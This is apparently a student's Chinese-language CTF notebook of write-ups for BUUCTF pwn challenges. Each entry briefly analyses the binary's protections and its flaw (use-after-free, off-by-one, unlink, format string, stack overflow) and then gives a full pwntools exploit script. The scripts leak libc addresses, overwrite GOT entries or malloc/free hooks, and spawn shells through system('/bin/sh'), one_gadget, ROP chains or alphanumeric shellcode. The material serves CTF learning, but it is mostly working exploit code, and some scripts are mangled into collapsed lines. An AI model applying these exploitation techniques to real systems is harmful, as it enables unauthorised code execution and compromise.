buu第三页笔记

1、ciscn_2019_n_3

 32位,RELRO半开,Canary开了,NX开了,ida打开看看,libc是2.27,有tcache 

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()       
     
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_2019_n_3"
#p=process(pwn)
p=remote("node5.buuoj.cn",28530)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
#libc=ELF("//home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")

def create(index,type_f,size,context):
    p.sendlineafter("CNote > ",str(1))
    p.sendlineafter("Index > ",str(index))
    p.sendlineafter("Type > ",str(type_f))
    p.sendlineafter("Length > ",str(size))
    p.sendlineafter("Value > ",context)
def delete(index):
    p.sendlineafter("CNote > ",str(2))
    p.sendlineafter("Index > ",str(index))
def show(index):
    p.sendlineafter("CNote > ",str(3))
    p.sendlineafter("Index > ",str(index))    
create(0,2,0x20,b'aaaa')  
create(1,2,0x20,b'bbbb')
delete(0)
delete(1)
create(2,2,0xc,b'sh\x00\x61'+p32(elf.plt['system']))   #使我们能更改的内容为chunk0 的0xc大小的chunk,将free的指针指向system函数,利用uaf漏洞再次free(sh)==>system(sh)
delete(0)
#debug()
#pause()
p.interactive()

2、babyfengshui_33c3_2016

 32位,RELRO半开,Canary,NX保护,ida打开看看,漏洞点在EDIT函数处,能溢出四个字节,且该函数的计算堆块大小是根据名称和内容的指针地址的差值进行计算

create(0x80,b'a',0x80,b'a')    #chunk0
create(0x80,b'a',0x80,b'a')   #chunk1
create(0x10,b'/bin/sh\x00',0x10,b'/bin/sh\x00')  #chunk 3
delete(0)                              #将两个大于fastbin接受的chunk释放,会进行合并,得到0x110大小的chunk,
create(0x100,b'a',0x10,b'a')   #chunk0  -> chunk 3    这是直接再malloc一个0x100大小的chunk,就会将name chunk 和内容 chunk   的距离拉开,就能对中间的chunk进行堆溢出

 中间的chunk就能作为堆溢出,通过EDIT函数,同时通过下图可以看到,固定申请的0x80大小的chunk存放着自定义大小堆块内容的指针,我们就把chunk1的指针改为got表的函数

EXP:
from
pwn import * from LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./babyfengshui_33c3_2016" #p=process(pwn) p=remote("node5.buuoj.cn",25011) elf=ELF(pwn) #--------------------------------------------------------------------------------------------------- libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so") def create(nsize,name,tsize,text): p.sendlineafter("Action: ",str(0)) p.sendlineafter("size of description: ",str(nsize)) p.sendlineafter("name: ",name) p.sendlineafter("text length: ",str(tsize)) p.sendlineafter("text: ",text) def delete(index): p.sendlineafter("Action: ",str(1)) p.sendlineafter("index: ",str(index)) def show(index): p.sendlineafter("Action: ",str(2)) p.sendlineafter("index: ",str(index)) def edit(index,tsize,context): p.sendlineafter("Action: ",str(3)) p.sendlineafter("index: ",str(index)) p.sendlineafter("text length: ",str(tsize)) p.sendlineafter("text: ",context) create(0x80,b'a',0x80,b'a') create(0x80,b'a',0x80,b'a') create(0x10,b'/bin/sh\x00',0x10,b'/bin/sh\x00') delete(0) create(0x100,b'a',0x10,b'a') edit(3,0x19c,b'\x00'*0x198+p32(elf.got['free'])) show(1) libcbase=u32(p.recvuntil(b'\xf7')[-4:])-libc.sym['free'] free=libcbase+libc.sym['free'] sys_addr=libcbase+libc.sym['system'] edit(1,0x4,p32(sys_addr)) delete(2) #debug() #pause() p.interactive()

3、0ctf_2017_babyheap

这道题前面已经做过一种fastdup和__malloc_hook的结合做法,下面两种做法算是补充

2、__realloc_hook

realloc=libcbase+libc.sym['realloc']

edit(6,0x1b,b'a'*0xb+p64(one)+p64(realloc+8))

3、__free_hook

在__free_hook的-0xb58有一个足够大的数据来伪造chunk,这个利用条件就是必须让堆能够溢出这么多字节的内存,直到距离这么远才看见一个这么大的数字

edit(6,0x83,b'a'3+p64(0)15+p64(free_hook-0xb58))

之后怎么找topchunk在main_arena 的指针,就对照当时的heap发现在小方框地址,后面就是正常的__free_hook了,就是分配的内存比较大

create(0xb30) #index 7
edit(7,8,b'/bin/sh\x00')
create(0x20)
edit(8,0x10,p64(0)+p64(sys_addr)) #对齐__free_hook函数地址
free(7)

4、hitcon2014_stkof

 64位,RELRO半开,Canary开了,NX开了,ida打开,结果是无菜单堆题,少了打印功能

 

 ptr=0x602160 create(0x20) create(0x30) create(0x80) create(0x10) 

在动调的时候发现,程序会固定申请两个我们利用不了的chunk,那就不管,且申请的第一个chunk会夹在两个固定chunk的中间,则随便申请一个小chunk,之后申请的两个chunk进行unlink,最后一个chunk的申请用来阻断top chunk 的合并,且发现chunk的fd地址会存放在0x602140,则通过edit函数的堆溢出进行unlink,去得到bss段上指针的控制权,再去调用puts函数泄露libc的地址

 payload=p64(0)+p64(0x30)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)*2+p64(0x30)+p64(0x90) edit(2,payload) delete(3) #unlink 

 可以看到成功unlink,接下来就是构造puts_plt==>free@got   ,    chunk1 ==>  chunk3fd ,  puts_plt(puts_got)

payload=b'a'*0x18+p64(ptr+8)+p64(elf.got['free'])
edit(2,payload)
edit(3,p64(elf.plt['puts']))
edit(2,p64(elf.got['puts']))
delete(3)  
p.recvline() 
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))

 接下来就是直接调用one_gadget

 ogg=libcbase+0x45226 edit(2,p64(elf.got['puts'])) edit(3,p64(ogg)) 

EXP:
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()       
     
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./stkof"
p=process(pwn)
p=remote("node5.buuoj.cn",29954)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so")
def create(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil("OK\n")

def delete(index):
     p.sendline(b'3')
     p.sendline(str(index).encode())

def show():
     p.sendline(b'4')
     p.recvuntil("OK\n")

def edit(index,context):
    p.sendline(str(2))
    p.sendline(str(index).encode())
    p.sendline(str(len(context)))
    p.send(context)
    p.recvuntil("OK\n")
ptr=0x602140+0x10
create(0x30)  随意malloc一个,后续无用
create(0x30)  
create(0x80)
create(0x30)  #防止topchunk合并
payload=p64(0)+p64(0x30)+p64(ptr-0x18)+p64(ptr-0x10)+p64(0)*2+p64(0x30)+p64(0x90)
edit(2,payload)
delete(3)   #unlink
payload=b'a'*0x18+p64(ptr+8)+p64(elf.got['free'])
edit(2,payload)
edit(3,p64(elf.plt['puts']))
edit(2,p64(elf.got['puts']))
delete(3)  
p.recvline() 
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-libc.sym['puts']
print(hex(libcbase))
ogg=libcbase+0x45216
edit(2,p64(elf.got['puts']))
edit(3,p64(ogg))
#debug()
#pause()
p.interactive()

5、pwnable_hacknote

 32为,RELRO半开,canary开了,NX开了,ida打开看看

 同时bss段上记录的指针指向的地址是0x8chunk的fd指针地址,但是0x8大小的chunk存放的是puts函数的地址(固定的)可以通过动调确定,且还有自定义大小的chunk的地址

 存在uaf漏洞, create(0x20) create(0x20) 先去看看puts函数的地址,

  delete(0) delete(1) create(0x8,p32(ptr)+p32(elf.got['puts'])) 构造如下图所示的结构,让我们malloc的第三个chunk的能控制chunk的chunk与chunk0的0x8的chunk重叠并利用

 

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()       
     
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./hacknote"
#p=process(pwn)
p=remote("node5.buuoj.cn",29205)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
libc=ELF("//home/casual/Desktop/buu/libc-i-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")
def create(size,context=b'aaaa'):
     p.sendlineafter("choice :",str(1))
     p.sendlineafter("Note size :",str(size))
     p.sendafter("Content :",context)

def delete(index):
     p.sendlineafter("choice :",str(2))
     p.sendlineafter("Index :",str(index))
def show(index):
     p.sendlineafter("choice :",str(3))
     p.sendlineafter("Index :",str(index))

ptr=0x804862b
create(0x20)
create(0x20)
delete(0)
delete(1)
create(0x8,p32(ptr)+p32(elf.got['puts']))
show(0)
libcbase=u32(p.recv(4))-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
delete(2)
create(0x8,p32(sys_addr)+b';sh\x00')
show(0)
#debug()
#pause()
p.interactive()

6、jarvisoj_level5

 64位,只开了NX保护,动态链接,ida打开看看

 显然ret2libc3,64位,找gadget

   Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level3_x64"
#p=process(pwn)
p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
payload=b'a'*0x88+p64(rdi)+p64(0x1)+p64(rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(elf.sym['main'])
p.recv()
p.send(payload)
write_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(write_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=write_addr-libc.sym['write']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0x88+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.send(payload)

p.interactive()

8、ciscn_2019_es_7

 64位,RELRO半开,NX保护开了,动态链接,ida打开看看,主函数就一个vuln函数,栈溢出很明显,有可能是ret2libc3也可以是syscall

 OK,ret2libc3不行,转战syscall

 找到一些有用的gadget

 因为要让rdx==0,rcx==0,且ropgadget无这些,所以借助ret2-csu

跟第一页的一道题一模一样

本地Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
p=process(pwn)
#p=remote("node4.buuoj.cn",29766)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x148

#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0xb8)+p64(0)+p64(0)+p64(0)+p64(r13_rdx)+p64(0)*7 #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)


p.interactive()

远程Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_2019_es_7"
#p=process(pwn)
p=remote("node4.buuoj.cn",25744)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400519')
#pause()
rdi=0x4005a3
rsi_r15=0x4005a1
ret=0x4003a9
rbx_rbp_r12_r13_r14_r15=0x40059A
r13_rdx=0x400580
rax_0x3b=0x4004E2
syscall=0x400517
payload=b'a'*0x10+p64(elf.sym['vuln'])
p.send(payload)
p.recv(0x20)
stack=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(stack))
bin_sh=stack-0x118

#pause()
payload=b'/bin/sh\x00'+b'a'*8+p64(rbx_rbp_r12_r13_r14_r15)
payload+=p64(0)+p64(0x1)+p64(bin_sh+0x5)+p64(0)+p64(0)+p64(0)+p64(r13_rdx) #rdx==0
payload+=p64(rdi)+p64(bin_sh)+p64(rsi_r15)+p64(0)+p64(0) #rdi ==/bin_sh rsi==0
payload+=p64(rax_0x3b)+p64(syscall) #rax==0x3b syscall
p.sendline(payload)

p.interactive()

9、mrctf2020_shellcode_revenge

64位,RELRO全开,PIE开启,动态链接文件,ida看看,需要纯字符 shellcode

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_shellcode_revenge"
#p=process(pwn)
p=remote("node4.buuoj.cn",27166)
elf=ELF(pwn)
payload=b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

p.send(payload)
p.interactive()

10、cmcc_pwnme2

 32位,RELRO半开,NX保护开了,ida打开看看

 这一看又是套娃,观察这几个函数要先使exec_string函数的&string地址上值改成/home/flag,覆盖返回地址后的调用函数的顺序就是add_home,add_flag,exec_string,有一个gets函数栈溢出,但是s的地址比ret地址高0x4个,也就是不能覆盖返回地址,但是userfunction函数会把输入的s复制给dest,且dest距离ebp有0x6c个字节,能覆盖返回地址那接下来就是构造rop链.

ebp=0x08048680
flag=0x08048682
home=0x08048644
a1=0xDEADBEEF
a2=0xCAFEBABE
a3=0xABADF00D
string=0x80485CB
payload=b'a'*0x70+p32(home)+p32(ebp)+p32(a2)+p32(a3)+p32(flag)+p32(string)+p32(a1)
p.recv()

可是buu 上的 flag 基本都是放在根目录下的 flag 和 flag.txt 文件里。只能ret2libc3,栈溢出是发生在 strcpy 那里的,不要有 p32(0) ,不然复制着就断了,然后最后 system('/bin/sh') 的时候要跳转回一个正常的地址,不然无法打通 

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

payload=b'a'*0x70+p32(elf.sym['puts'])+p32(elf.sym['main'])+p32(elf.got['puts'])
p.recv()
p.sendline(payload)
p.recvline()
puts_addr=u32(p.recv(4))
print(hex(puts_addr))

libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
print(hex(libcbase))
p.recv()
payload=b'a'*0x70+p32(sys_addr)+p32(elf.sym['main'])+p32(bin_sh)
p.sendline(payload)
#pause()
p.interactive()

看了学长的博客,还有一种解法,直接把读取的string的bss段的值改为flag这个字符串在执行exec_string函数,通过gets函数修改,tql

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./pwnme2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25876)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

string = 0x0804A060
payload = b'a'*0x70 + p32(elf.sym['gets']) + p32(elf.sym['exec_string']) + p32(string)
p.recv()
p.sendline(payload)
p.sendline(b'flag')
print(p.recv())
p.interactive()

11、picoctf_2018_got_shell

 32位,NX保护,动态编译,看运行的样子好像是任意地址写入?ida打开看看,有后门函数

 

 把puts的plt改为win的地址,因为这个主函数到最后使直接调用exit函数的

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_got-shell"
#p=process(pwn)
p=remote("node4.buuoj.cn",28013)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
payload=str(hex(elf.got['puts']))
p.recv()
p.sendline(payload)
payload=str(hex(elf.sym['win']))
p.recv()
p.sendline(payload)
p.interactive()

12、mrctf2020_easy_equation

 64位,RELRO半开,NX保护,动态链接,ida看看

 就是简单的栈溢出,跳过判断直接执行,简单粗暴

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_easy_equation"
#p=process(pwn)
p=remote("node4.buuoj.cn",26392)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)

sys_addr=0x4006D0
payload=b'a'*9+p64(sys_addr)

p.sendline(payload)
p.interactive()

13、roarctf_2019_easy_pwn

 64位,保护全开,漏洞点在下图的修改函数处

 我们要修改的chunk的大小改为原大小+10则可以进行off by one 漏洞利用

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./roarctf_2019_easy_pwn"
#p=process(pwn)
p=remote("node5.buuoj.cn",27912)
elf=ELF(pwn)
libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")  
#---------------------------------------------------------------------------------------------------
def create(size):
    p.sendlineafter("choice: ",str(1))
    p.sendlineafter("size: ",str(size))

def edit(index,size,context):
    p.sendlineafter("choice: ",str(2))
    p.sendlineafter("index: ",str(index))
    p.sendlineafter("size: ",str(size))
    p.sendlineafter("content: ",context)
    
def delete(index):
    p.sendlineafter("choice: ",str(3))
    p.sendlineafter("index: ",str(index))

def show(index):
    p.sendlineafter("choice: ",str(4))
    p.sendlineafter("index: ",str(index))

create(0x18)  #chunk 0
create(0x10)  #chunk 1  
create(0x80)  #chunk 2
create(0x10)  #chunk 3

edit(0,0x18+10,b'a'*0x18+p8(0xb1))  #在这里size+10获得+1字节的修改
delete(1)
create(0xa0)  #chunk 1

edit(1,0x20,p64(0)*3+p64(0x91))   #因为创建堆块用的函数是calloc,则还需要进行还原chunk2的size位
delete(2)
show(1)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
ogg=libcbase+0x4526a
realloc=libcbase+libc.sym['realloc']
create(0x60)  #chunk 2
create(0x60)  #chunk 4

delete(4)
delete(2)

edit(1,0x28,p64(0)*3+p64(0x71)+p64(libcbase+libc.sym['__malloc_hook']-0x23))

create(0x60)  #chunk 2
create(0x60)   #chunk 4

edit(4,0x13+8,b'a'*(0x13-8)+p64(ogg)+p64(realloc))

create(0x10)
#debug()
#pause()
p.interactive()

13、wdb_2018_2nd_easyfmt

 32位,RELRO半开,NX保护,动态链接,ida打开

 很明显的格式化字符串漏洞,但是会陷入循环,目前的思路就是靠格式化字符串漏洞泄露read函数或者puts函数got地址计算偏移,获得system函数地址和"/bin/sh\x00"的地址,再把printf函数got的地址改为system函数地址执行shell,先计算偏移为6

 利用pwntools的pwnlib.fmtstr模块,把printf的got地址改为libc中system函数地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./wdb_2018_2nd_easyfmt"
#p=process(pwn)
p=remote("node4.buuoj.cn",26277)
elf=ELF(pwn)
#gdb.attach(p,'b *0x80485A0')
#pause()
p.recv()
payload=p32(elf.got['puts'])+b'%6$s'
p.sendline(payload)
p.recv(4)
puts_addr=u32(p.recv(4))

payload=p32(elf.got['printf'])+b'%6$s'
p.sendline(payload)
p.recv(4)
printf_addr=u32(p.recv(4))

libc=ELF("./libc-2.23.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
print(hex(libcbase))
payload=fmtstr_payload(6,{elf.got['printf']:sys_addr})
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()

14、picoctf_2018_can_you_gets_me

 32位,RELRO半开,NX保护开启,静态编译文件,ida打开看看

 栈溢出,字符串无system函数,无flag,感觉是syscall,ROPgadget看看可以先ropchain

Exp:

from LibcSearcher import *
from pwn import *
from struct import pack
#context(os='linux', arch='amd64', log_level='debug') 
context(os='linux', arch='i386', log_level='debug') 

def debug():
     gdb.attach(p)  
     pause()
def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
 pwn="./PicoCTF_2018_can-you-gets-me" 
p=process(pwn) 

#p=remote("node4.buuoj.cn",26392)

 #gdb.attach(p,'b *0x80486F7')

 #pause() elf=ELF(pwn) 

def get_payload():  
 p = b'a'*0x1c  
 p += pack('<I', 0x0806f02a) # pop edx ; ret   p += pack('<I', 0x080ea060) # @ .data   p += pack('<I', 0x080b81c6) # pop eax ; ret   p += b'/bin'   p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret   p += pack('<I', 0x0806f02a) # pop edx ; ret   p += pack('<I', 0x080ea064) # @ .data + 4   p += pack('<I', 0x080b81c6) # pop eax ; ret   p += b'//sh'   p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret   p += pack('<I', 0x0806f02a) # pop edx ; ret   p += pack('<I', 0x080ea068) # @ .data + 8   p += pack('<I', 0x08049303) # xor eax, eax ; ret   p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret   p += pack('<I', 0x080481c9) # pop ebx ; ret   p += pack('<I', 0x080ea060) # @ .data   p += pack('<I', 0x080de955) # pop ecx ; ret   p += pack('<I', 0x080ea068) # @ .data + 8   p += pack('<I', 0x0806f02a) # pop edx ; ret   p += pack('<I', 0x080ea068) # @ .data + 8   p += pack('<I', 0x08049303) # xor eax, eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0807a86f) # inc eax ; ret   p += pack('<I', 0x0806cc25) # int 0x80   return p payload=get_payload() p.recv() p.sendline(payload) p.interactive()

15、npuctf_2020_easyheap

 64位,RELRO半开,canary,NX保护开了,ida打开看看

 主要漏洞在上图的读入chunk内容的函数,off by one,且申请chunk的函数有限制,只能申请0x18或者0x38大小的chunk,且先会malloc一个0x10大小的chunk,且自己能控制的大小的chunk的指针存放在0x10大小的chunk的地址+8位置处,则利用off by one 进行overlapping。拓展已经使用的chunk的大小

 

create(0x18,b'a')  #chunk 0
create(0x18,b'a')  #chunk 1
edit(0,p64(0)*3+p8(0x41))
delete(1)
如上图再申请一个0x38大小的chunk,则就能控制0x20大小的chunk(为原先不能控制的chunk,存放了0x40大小chunk的指针)
Exp:
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./npuctf_2020_easyheap"
#p=process(pwn)
p=remote("node5.buuoj.cn",29817)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")  
#---------------------------------------------------------------------------------------------------
def create(size,context):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter("0x20 only) : ",str(size))
    p.sendlineafter("Content:",context)

def edit(index,context):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter("Index :",str(index))
    p.sendlineafter("Content:",context)

def show(index):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(index)) 
    
def delete(index):
    p.sendlineafter("Your choice :",str(4))
    p.sendlineafter("Index :",str(index)) 

create(0x18,b'a')  #chunk 0
create(0x18,b'a')  #chunk 1
edit(0,p64(0)*3+p8(0x41))
delete(1)

create(0x38,p64(0)*3+p64(0x21)+p64(0xa)+p64(elf.got['atoi']))#chunk 1
show(1)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']

edit(1,p64(sys_addr))
p.sendafter("Your choice :",b'sh\x00\x00')

#debug()
#pause()
p.interactive()

16、hitcontraining_bamboobox

 64位,RELRO半开,canary,nx保护开了,ida打开看看

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./bamboobox"
p=process(pwn)
#p=remote("node5.buuoj.cn",29235)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#---------------------------------------------------------------------------------------------------
def show():
      p.sendlineafter("Your choice:",str(1))

def create(size,context=b'a'):
      p.sendlineafter("Your choice:",str(2))
      p.sendlineafter("length of item name:",str(size))
      p.sendafter("name of item:",context)

def edit(index,context):
      p.sendlineafter("Your choice:",str(3))
      p.sendlineafter("the index of item:",str(index))
      p.sendlineafter("length of item name:",str(len(context)).encode())
      p.sendafter("the new name of the item:",context)
def delete(index):
      p.sendlineafter("Your choice:",str(4))
      p.sendlineafter("the index of item:",str(index))

create(0x10)  #chunk 0
create(0x60)  #chunk 1
create(0x60)  #chunk 2
create(0x10)  #chunk 3
fake=0x6020ad
delete(2)
delete(1)
edit(0,p64(0)*3+p64(0x71)+p64(fake))
create(0x60)  #chunk 1
create(0x60,b'a'*0xb+p64(elf.got['atoi'])) #chunk 2  ->fake  修改chunk的指针
show()
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['atoi']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']

edit(0,p64(sys_addr))

p.sendlineafter("Your choice:",b'/bin/sh\x00')
#debug()
#pause()
p.interactive()

17、suctf_2018_basic pwn

 64位,RELRO全开,NX保护,动态编译,ida打开看看

 就是简单栈溢出,劫持返回地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./SUCTF_2018_basic_pwn"
p=process(pwn)
p=remote("node4.buuoj.cn",25960)
#gdb.attach(p,'b *0x80486F7')
#pause()
elf=ELF(pwn)
shel=0x401157
payload=b'a'*0x118+p64(shel)
p.sendline(payload)
p.interactive()

18、actf_2019_babystack

64位,RELRO半开,NX保护,动态编译,ida打开

 最多能覆盖到ret的地址,那应该就是栈迁移了,而且printf函数已经把栈上的地址打印出来了,接受就行,无后门函数,那就是栈迁移加ret2libc3

 ROPgadget找一下,64位寄存器传参,利用puts函数泄露libcbase,同时要注意返回主函数时栈的地址改变了,要再接收一遍栈地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ACTF_2019_babystack"
#p=process(pwn)
p=remote("node4.buuoj.cn",25543)
#gdb.attach(p,'b *0x400A09')
#pause()
elf=ELF(pwn)
